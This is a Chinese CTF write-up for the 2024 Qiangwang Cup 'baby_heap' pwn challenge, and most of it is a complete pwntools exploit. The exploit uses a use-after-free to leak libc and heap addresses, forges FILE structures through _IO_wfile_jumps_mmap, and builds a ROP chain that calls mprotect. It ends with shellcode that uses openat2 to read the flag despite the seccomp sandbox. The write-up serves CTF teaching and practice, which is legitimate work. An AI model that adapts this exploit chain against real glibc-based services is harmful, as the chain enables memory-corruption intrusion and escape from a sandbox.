2024 强网杯baby_heap详解
强网杯baby_heap详解
详细流程
给了个任意地址写,但最后也没有用到
然后禁用了openat,所以用openat2来打沙箱
常见的四个功能都有
add也只是限制0x500到0x5ff
delete有uaf
show可以泄露很多东西
然后比较有特点的就是这个函数
这个函数清除了一些内存区域的信息,后面进行动调发现是把_IO_wfile_jumps内容删除了
所以如果这个题目要打apple2的话,需要找一条替代的跳表
本来的调用链为
_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
我们找一条替代的就可以
_IO_wfile_jumps_mmap和_IO_wfile_jumps_maybe_mmap都可以用
然后后面就是正常打链子了
申请多一点,直接泄露heap和libc即可
add(0x548)
add(0x548)
add(0x538)
delete(1)
add(0x558)
delete(3)
show(1)
ru("The content is here \n")
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21b120
leak('libc_base ',libc_base)
r(10)
heap_base = u64(r(6).ljust(8,'\x00'))-0x1950
leak("heap_base ",heap_base)
之后就是写链子和沙箱,这里用mprotect去开权限,然后别忘了把wfile换成_IO_wfile_jumps_mmap就可以
orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(orw_addr)
orw+=p64(rdi)+p64(leave_ret)
orw+=p64(rdi)+p64(heap_base)
orw+=p64(rsi)+p64(0x3000)
orw+=p64(rdx_r12)+p64(7)+p64(orw_addr)
orw+=p64(mprotect)
orw+=p64(rdi)+p64(0)
orw+=p64(rsi)+p64(orw_addr)
orw+=p64(rdx_r12)+p64(0x100)+p64(orw_addr+0x100)
orw+=p64(read_addr)
orw+=p64(jmp_rsi)
pay=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pay+=p64(0)*2+p64(0)+p64(orw_addr)
pay+=p64(0)*4
pay+=p64(0)*3+p64(lock)
pay+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pay+=p64(0)*4
pay+=p64(0)+p64(wfile)
pay+=p64(0)*0x1c+p64(chunk0+0xe0+0xe8)
pay+=p64(0)*0xd+p64(magic_gadget)
pay+=orw
edit(1,pay)
在后续调用的时候,先输入shellcode
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
push 3
pop rdi
push 0xFF
pop rdx
mov rsi, rsp
push SYS_read
pop rax
syscall
push 1
pop rdi
push 0xFF
pop rdx
mov rsi, rsp
push SYS_write
pop rax
syscall
然后后续直接jmp到shellcode的位置就行,这里我用的
0x00000000000519d1 : jmp rsi
之后就可以打印flag了
exp
# -*- coding: utf-8 -*-
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
#context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3
def duan():
gdb.attach(p)
pause()
def choice(cho):
sla('Enter your choice: \n',cho)
def add(size):
choice(add_idx)
sla('Enter your commodity size \n',size)
def delete(idx):
choice(delete_idx)
sla('Enter which to delete: \n',idx)
def show(idx):
choice(show_idx)
sla('Enter which to show: \n',idx)
def edit(idx,content):
choice(edit_idx)
sla('Enter which to edit: \n',idx)
sa('Input the content \n',content)
add(0x548)
add(0x548)
add(0x538)
delete(1)
add(0x558)
delete(3)
show(1)
ru("The content is here \n")
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21b120
leak('libc_base ',libc_base)
r(10)
heap_base = u64(r(6).ljust(8,'\x00'))-0x1950
leak("heap_base ",heap_base)
IO_list_all=libc.sym['_IO_list_all']+libc_base
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']
environ = libc_base + libc.sym['_environ']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
wfile = libc_base + 0x217000
#wfile=libc_base+libc.sym['_IO_wfile_jumps']
rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
jmp_rsi = libc_base+0x00000000000519d1
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
syscall = libc_base + libc.sym['syscall']
syscall= libc_base + libc.sym['read'] + 0x10
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
mprotect=libc.symbols['mprotect']+libc_base
lock =0x3ed8b0+libc_base
magic_gadget = libc_base + next(libc.search(asm('mov rbp, qword ptr [rdi + 0x48];mov rax, qword ptr [rbp + 0x18]')))
chunk0=heap_base+0x1950
orw_addr = heap_base+0x1b88
orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(orw_addr)
orw+=p64(rdi)+p64(leave_ret)
orw+=p64(rdi)+p64(heap_base)
orw+=p64(rsi)+p64(0x3000)
orw+=p64(rdx_r12)+p64(7)+p64(orw_addr)
orw+=p64(mprotect)
orw+=p64(rdi)+p64(0)
orw+=p64(rsi)+p64(orw_addr)
orw+=p64(rdx_r12)+p64(0x100)+p64(orw_addr+0x100)
orw+=p64(read_addr)
orw+=p64(jmp_rsi)
pay=p64(0)+p64(leave_ret)+p64(0)+p64(IO_list_all-0x20)
pay+=p64(0)*2+p64(0)+p64(orw_addr)
pay+=p64(0)*4
pay+=p64(0)*3+p64(lock)
pay+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pay+=p64(0)*4
pay+=p64(0)+p64(wfile)
pay+=p64(0)*0x1c+p64(chunk0+0xe0+0xe8)
pay+=p64(0)*0xd+p64(magic_gadget)
pay+=orw
edit(1,pay)
add(0x568)
add(0x538)
sla(b'choice: \n',b'4')
shell = asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
push 3
pop rdi
push 0xFF
pop rdx
mov rsi, rsp
push SYS_read
pop rax
syscall
push 1
pop rdi
push 0xFF
pop rdx
mov rsi, rsp
push SYS_write
pop rax
syscall
''')
print(shell)
p.send(shell)
itr()
附件:
- baby_heap.zip 下载
0 条评论
可输入 255 字